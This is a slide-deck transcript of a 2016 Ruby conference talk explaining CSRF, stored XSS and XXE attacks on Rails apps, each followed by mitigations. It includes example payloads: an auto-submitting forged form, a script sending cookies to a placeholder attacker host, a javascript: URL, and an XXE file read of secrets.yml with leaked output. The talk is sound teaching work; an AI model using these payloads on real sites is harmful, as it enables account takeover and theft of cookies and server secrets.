Security is Broken: Understanding Common Vulnerabilties

C44e1f7e22c3f23cff7bc130871047ef?s=47 Eileen M. Uchitelle
July 08, 2016
Technology
2
670

Security is Broken: Understanding Common Vulnerabilties

Brighton Ruby 2016

C44e1f7e22c3f23cff7bc130871047ef?s=128

Eileen M. Uchitelle

July 08, 2016
Tweet

More Decks by Eileen M. Uchitelle

See All by Eileen M. Uchitelle
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
0
5
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
0
5
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
0
5
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
112
24k
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
5
940
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
12
2.7k
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
5
440
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
39
29k
C44e1f7e22c3f23cff7bc130871047ef?s=48 eileencodes
2
170

Other Decks in Technology

See All in Technology
966e29b84ae7dbde170f66b0bc75b7a6?s=48 ishiayaya
1
200
0102ef8594b9d3a74f45dfd5daa5ede4?s=48 yskmjp
0
100
C786d7772602b488a7972c38c143f61c?s=48 con_mame
3
1.8k
Bf7fe621f4fe1615c228ef8a79b87282?s=48 shirayanagiryuji
2
130
40661cda330920ea2a854566ae19bbe9?s=48 wyamazak_uhuru
0
340
8aba6de431668fc8d09977c0e33c63c1?s=48 jaguar_imo
4
980
Cc8a208e174943d1da814783841abd50?s=48 shinodogg
2
140
098ad475722e3697ec2fba28c8654f9f?s=48 yuhta28
0
470
B2fefbb30aba7c25bbe0c8819791631a?s=48 gunnargrosch
1
340
8a84268593355816432ceaf78777d585?s=48 dena_tech
0
910
8434e5fcdb11033234455d4b2bfb6bb3?s=48 voyage_tech
0
290
0d29d155ce5c5a93ed46363626da3ea7?s=48 ocise
1
1.8k

Featured

See All Featured
0c6fd6a08d0f898159cda7cafcacf07f?s=48 afnizarnur
175
14k
E837d2996f52008ace055a08fbfff992?s=48 frogandcode
123
20k
E13c31390e0369fcd5972292ce0e7b92?s=48 jnunemaker
PRO
40
4.4k
E190023b66e2b8aa73a842b106920c93?s=48 zenorocha
296
39k
64827b31aef81498662e8af4bd6d5157?s=48 jonrohan
1019
370k
245cee81a9c424266e5e401d844ea881?s=48 lara
590
60k
E4f5d494ebdc9e7cce1aecf3ce3e8bc1?s=48 shpigford
366
42k
7c8469ee8c9e594c65c59b919626c08d?s=48 scottboms
250
11k
9952dfcd5d338f8a8e7175c8a8f65fb5?s=48 wjessup
335
16k
Ded01cdab114abe4ec13511e4c25b9bb?s=48 andyhume
60
2.4k
465724d73fe3a92c0879fdfb43a3a6f3?s=48 philhawksworth
190
8.7k
4394ceb8b277f35ee3da7030384efb5d?s=48 davidbonilla
69
3.5k

Transcript

  1. SECURITY IS BROKEN Understanding Common Vulnerabilities

  2. None

  3. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes

  4. OPEN SOURCE Rails Committers Rails Security

  5. None
  6. None

  7. How is security broken?

  8. • Impossible to test for all possible vulnerabilities How is

    security broken?

  9. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?

  10. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?

  11. How did we get here?

  12. • Failed to enforce web standards How did we get

    here?

  13. vs.

  14. None

  15. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?

  16. “...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web

  17. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  18. None

  19. CSRF

  20. CSRF Cross-Site Request Forgery

  21. EXPLOITING CSRF

  22. JESSIE The Hacker ARYA The User

  23. None
  24. None

  25. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com“ name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  26. None

  27. Looks the same, different URL

  28. <body onload=“document.forms[0].submit()"> <form action="http://dogbook/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value=“jessie@hacker.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>

  29. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value=“jessie@hacker.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Jessie’s email

  30. <body onload=“document.forms[0].submit()"> <form action="http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form

  31. <body onload=“document.forms[0].submit()"> <form action=“http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site

  32. Jessie’s email

  33. How dangerous are CSRF attacks?

  34. How can we protect
 our users from
 CSRF attacks?

  35. • Use built-in framework CSRF protection How to mitigate CSRF?

  36. None

  37. class ApplicationController < ActionController::Base protect_from_forgery with: :exception end

  38. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection

  39. Caveat: CSRF protection in Rails is order-dependent

  40. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end

  41. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end Conditional authentication

  42. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end

  43. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end Skip auth callback

  44. >> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :verify_authenticity_token, :authenticate_for_chat ] Authentication callback is

    too late in the chain

  45. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ActionController::Base skip_before_action :authenticate before_action :authenticate_for_chat, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end

  46. >> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :authenticate_for_chat, :verify_authenticity_token ] Corrected callback order

  47. None

  48. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens How to mitigate CSRF?

  49. class SessionsController < ApplicationController def destroy sign_out reset_session redirect_to sign_in_url

    end end Refreshes Authenticity Token

  50. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?

  51. XSS

  52. XSS Cross-Site Scripting

  53. EXPLOITING STORED XSS

  54. None

  55. <script> document.write( '<img src=“http://www.hax0rcats.com/' + document.cookie + '">' ); </script>

    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  56. None

  57. Escaped HTML

  58. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>

  59. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  60. None

  61. JavaScript Scheme

  62. None

  63. javascript://example.com/%0Aalert(1)

  64. example.com/%0Aalert(1) JavaScript Scheme javascript://

  65. javascript://example.com/%0Aalert(1) URL example.com

  66. Percent encoded “line feed” javascript://example.com/%0Aalert(1) %0A

  67. JavaScript Alert javascript://example.com/%0Aalert(1) alert(1)

  68. How dangerous are XSS attacks?

  69. How can we protect
 our users from
 XSS attacks?

  70. • Always escape user-provided data How to mitigate XSS?

  71. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  72. None

  73. • Don’t HTML escape user-provided data • Sanitize user-provided data

    How to mitigate XSS?

  74. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes

  75. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?

  76. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end

  77. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end

  78. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end

  79. XXE

  80. XXE XML eXternal Entity Attack

  81. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list>

  82. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_3-4.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list> Entity reference

  83. <!-- list_items_3-4.xml --> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo>

  84. <!-- after parsing --> <list> <todo>Take a nap</todo> <todo>Go on

    a long walk with my hooman</todo> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo> <todo>Take another nap</todo> <todo>Go to bed</todo> </list>

  85. EXPLOITING XXE

  86. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end

  87. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML

  88. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user>

  89. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Requested file

  90. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Entity reference

  91. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml POST

    request to users create

  92. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml Payload

  93. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> secrets.yml as user’s name
  94. None

  95. How dangerous are XXE attacks?

  96. None

  97. How can we protect
 our servers from
 XXE attacks?

  98. • Don’t parse XML How to mitigate XXE?

  99. Don’t parse XML

  100. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?

  101. >> LibXML::XML.default_substitute_entities >> true

  102. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?

  103. Investigate vulnerabilities & patches SECURITY

  104. GitHub
 eileencodes/security_examples

  105. owasp.org

  106. None

  107. Brakeman

  108. Resilience & empowerment SECURITY

  109. None

  110. Awareness of vulnerabilities SECURITY

  111. JESSIE The Hacker ARYA The User

  112. None

  113. To the future

  114. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes